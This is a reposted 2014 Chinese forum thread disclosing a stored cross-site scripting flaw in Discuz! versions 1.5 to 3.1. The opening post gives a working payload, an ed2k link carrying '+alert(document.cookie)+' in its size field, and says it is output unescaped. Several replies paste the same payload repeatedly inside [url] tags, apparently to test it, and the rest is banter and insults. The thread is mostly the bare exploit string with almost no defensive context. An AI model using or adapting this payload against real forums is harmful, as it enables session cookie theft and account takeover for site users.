【转载】Discuz!1.5到3.1版本通用储存型xss

Antergone

发表一个帖子，内容包含

游客，如果您要查看本帖隐藏内容请回复

ed2k://|file|test|'+alert(document.cookie)+'|test
然后 $size -> '+alert(document.cookie)+' 被直接输出


[url=ed2k://|file|test|'+alert(document.cookie)+'|test]测试[/url]

U神V5

刚看到这帖子就谈了

U神V5

ed2k://|file|test|'+alert(document.cookie)+'|test/

Diana

插那么多 作甚 。。



[url=ed2k://|file|test|'+alert(document.cookie)+'|test]test (undefined Bytes)[/url]

[url=ed2k://|file|test|'+alert(document.cookie)+'|test]test (undefined Bytes)[/url]
[url=ed2k://|file|test|'+alert(document.cookie)+'|test]test (undefined Bytes)[/url]

[url=ed2k://|file|test|'+alert(document.cookie)+'|test]test (undefined Bytes)[/url]

[url=ed2k://|file|test|'+alert(document.cookie)+'|test]test (undefined Bytes)[/url]

[url=ed2k://|file|test|'+alert(document.cookie)+'|test]test (undefined Bytes)[/url]
[url=ed2k://|file|test|'+alert(document.cookie)+'|test]test (undefined Bytes)[/url]

[url=ed2k://|file|test|'+alert(document.cookie)+'|test]test (undefined Bytes)[/url]
[url=ed2k://|file|test|'+alert(document.cookie)+'|test]test (undefined Bytes)[/url]

[url=ed2k://|file|test|'+alert(document.cookie)+'|test]test (undefined Bytes)[/url]

nick2011

我去，哪个论坛都是         

至高无上

顶楼主啦..希望楼主多发精品好帖啦.....

Antergone

U神V5 发表于 2014-3-2 17:02
ed2k://|file|test|'+alert(document.cookie)+'|test/

贱人。。。。

Antergone

Diana 发表于 2014-3-2 17:18
插那么多 作甚 。。

贱人。。。。。鄙视你